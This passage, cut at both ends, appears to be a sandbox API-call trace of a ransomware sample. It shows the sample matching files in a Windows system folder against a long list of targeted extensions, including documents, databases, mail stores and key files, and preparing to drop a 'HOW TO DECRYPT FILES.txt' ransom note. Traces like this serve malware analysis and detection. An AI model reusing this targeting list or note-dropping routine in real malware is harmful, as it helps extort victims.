lstrlenA (lpString="*.tiff") returned 6 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.backup") returned 0 [0119.571] lstrlenA (lpString="*.backup") returned 8 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.pdf") returned 0 [0119.571] lstrlenA (lpString="*.pdf") returned 5 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.cert") returned 0 [0119.571] lstrlenA (lpString="*.cert") returned 6 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.docm") returned 0 [0119.571] lstrlenA (lpString="*.docm") returned 6 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.xlsm") returned 0 [0119.572] lstrlenA (lpString="*.xlsm") returned 6 [0119.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.dwg") returned 0 [0119.572] lstrlenA (lpString="*.dwg") returned 5 [0119.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.nd") returned 0 [0119.572] lstrlenA (lpString="*.nd") returned 4 [0119.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.tlg") returned 0 [0119.572] lstrlenA (lpString="*.tlg") returned 5 [0119.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.lgb") returned 0 [0119.572] lstrlenA (lpString="*.lgb") returned 5 [0119.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mov") returned 0 [0119.572] lstrlenA (lpString="*.mov") returned 5 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.xdw") returned 0 [0119.573] lstrlenA (lpString="*.xdw") returned 5 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.ods") returned 0 [0119.573] lstrlenA (lpString="*.ods") returned 5 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.wav") returned 0 [0119.573] lstrlenA (lpString="*.wav") returned 5 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mp3") returned 0 [0119.573] lstrlenA (lpString="*.mp3") returned 5 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.aiff") returned 0 [0119.573] lstrlenA (lpString="*.aiff") returned 6 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.flac") returned 0 [0119.573] lstrlenA (lpString="*.flac") returned 6 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.m4a") returned 0 [0119.573] lstrlenA (lpString="*.m4a") returned 5 [0119.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.csv") returned 0 [0119.573] lstrlenA (lpString="*.csv") returned 5 [0119.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Compression.FileSystem.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.574] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Compression.FileSystem.ni.dll.aux") returned -1 [0119.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Compression.FileSystem.ni.dll.aux") returned -1 [0119.574] lstrcmpiA (lpString1="", lpString2="System.IO.Compression.FileSystem.ni.dll.aux") returned -1 [0119.574] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll") returned="System.IO.Compression.FileSystem.ni.dll" [0119.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\" [0119.574] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\") returned="" [0119.574] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt" [0119.574] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\how to decrypt files.txt")) returned 0x20 [0119.575] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\", lpString2="System.IO.Compression.FileSystem.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux" [0119.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.575] lstrlenA (lpString="*.ems") returned 5 [0119.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.db") returned 0 [0119.575] lstrlenA (lpString="*.db") returned 4 [0119.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.dbf") returned 0 [0119.575] lstrlenA (lpString="*.dbf") returned 5 [0119.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.myox") returned 0 [0119.575] lstrlenA (lpString="*.myox") returned 6 [0119.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.myo") returned 0 [0119.575] lstrlenA (lpString="*.myo") returned 5 [0119.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qbw") returned 0 [0119.576] lstrlenA (lpString="*.qbw") returned 5 [0119.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qbb") returned 0 [0119.576] lstrlenA (lpString="*.qbb") returned 5 [0119.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qbm") returned 0 [0119.577] lstrlenA (lpString="*.qbm") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qbo") returned 0 [0119.577] lstrlenA (lpString="*.qbo") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qbx") returned 0 [0119.577] lstrlenA (lpString="*.qbx") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qba") returned 0 [0119.577] lstrlenA (lpString="*.qba") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qby") returned 0 [0119.577] lstrlenA (lpString="*.qby") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qbj") returned 0 [0119.577] lstrlenA (lpString="*.qbj") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.ofx") returned 0 [0119.577] lstrlenA (lpString="*.ofx") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.qif") returned 0 [0119.577] lstrlenA (lpString="*.qif") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mye") returned 0 [0119.577] lstrlenA (lpString="*.mye") returned 5 [0119.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mbox") returned 0 [0119.578] lstrlenA (lpString="*.mbox") returned 6 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.578] lstrlenA (lpString="*.eml") returned 5 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.pst") returned 0 [0119.578] lstrlenA (lpString="*.pst") returned 5 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.ost") returned 0 [0119.578] lstrlenA (lpString="*.ost") returned 5 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.idx") returned 0 [0119.578] lstrlenA (lpString="*.idx") returned 5 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.dbx") returned 0 [0119.578] lstrlenA (lpString="*.dbx") returned 5 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.sql") returned 0 [0119.578] lstrlenA (lpString="*.sql") returned 5 [0119.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mdb") returned 0 [0119.578] lstrlenA (lpString="*.mdb") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.fdb") returned 0 [0119.579] lstrlenA (lpString="*.fdb") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.wab") returned 0 [0119.579] lstrlenA (lpString="*.wab") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.dat") returned 0 [0119.579] lstrlenA (lpString="*.dat") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.txt") returned 0 [0119.579] lstrlenA (lpString="*.txt") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0119.579] lstrlenA (lpString="*.jpeg") returned 6 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.jpg") returned 0 [0119.579] lstrlenA (lpString="*.jpg") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.png") returned 0 [0119.579] lstrlenA (lpString="*.png") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.php") returned 0 [0119.579] lstrlenA (lpString="*.php") returned 5 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.cs") returned 0 [0119.579] lstrlenA (lpString="*.cs") returned 4 [0119.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.cpp") returned 0 [0119.580] lstrlenA (lpString="*.cpp") returned 5 [0119.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.rar") returned 0 [0119.580] lstrlenA (lpString="*.rar") returned 5 [0119.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.zip") returned 0 [0119.580] lstrlenA (lpString="*.zip") returned 5 [0119.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.html") returned 0 [0119.580] lstrlenA (lpString="*.html") returned 6 [0119.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.htm") returned 0 [0119.580] lstrlenA (lpString="*.htm") returned 5 [0119.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0119.580] lstrlenA (lpString="*.xlsx") returned 6 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.xls") returned 0 [0119.581] lstrlenA (lpString="*.xls") returned 5 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mp4") returned 0 [0119.581] lstrlenA (lpString="*.mp4") returned 5 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.ppt") returned 0 [0119.581] lstrlenA (lpString="*.ppt") returned 5 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.pptx") returned 0 [0119.581] lstrlenA (lpString="*.pptx") returned 6 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.doc") returned 0 [0119.581] lstrlenA (lpString="*.doc") returned 5 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.dot") returned 0 [0119.581] lstrlenA (lpString="*.dot") returned 5 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.docx") returned 0 [0119.581] lstrlenA (lpString="*.docx") returned 6 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.7z") returned 0 [0119.581] lstrlenA (lpString="*.7z") returned 4 [0119.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.tar") returned 0 [0119.582] lstrlenA (lpString="*.tar") returned 5 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.bz2") returned 0 [0119.582] lstrlenA (lpString="*.bz2") returned 5 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.gz") returned 0 [0119.582] lstrlenA (lpString="*.gz") returned 4 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.mkv") returned 0 [0119.582] lstrlenA (lpString="*.mkv") returned 5 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.582] lstrlenA (lpString="*.eml") returned 5 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.msg") returned 0 [0119.582] lstrlenA (lpString="*.msg") returned 5 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.edb") returned 0 [0119.582] lstrlenA (lpString="*.edb") returned 5 [0119.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.accdb") returned 0 [0119.583] lstrlenA (lpString="*.accdb") returned 7 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.odb") returned 0 [0119.583] lstrlenA (lpString="*.odb") returned 5 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.java") returned 0 [0119.583] lstrlenA (lpString="*.java") returned 6 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.asm") returned 0 [0119.583] lstrlenA (lpString="*.asm") returned 5 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.pfx") returned 0 [0119.583] lstrlenA (lpString="*.pfx") returned 5 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.pem") returned 0 [0119.583] lstrlenA (lpString="*.pem") returned 5 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.p12") returned 0 [0119.583] lstrlenA (lpString="*.p12") returned 5 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.gpg") returned 0 [0119.583] lstrlenA (lpString="*.gpg") returned 5 [0119.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.vsd") returned 0 [0119.583] lstrlenA (lpString="*.vsd") returned 5 [0119.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll.aux", pszSpec="*.odg") returned 0 [0119.584] lstrlenA (lpString="*.odg") returned 5 [0119.584] PathMatchSpecA 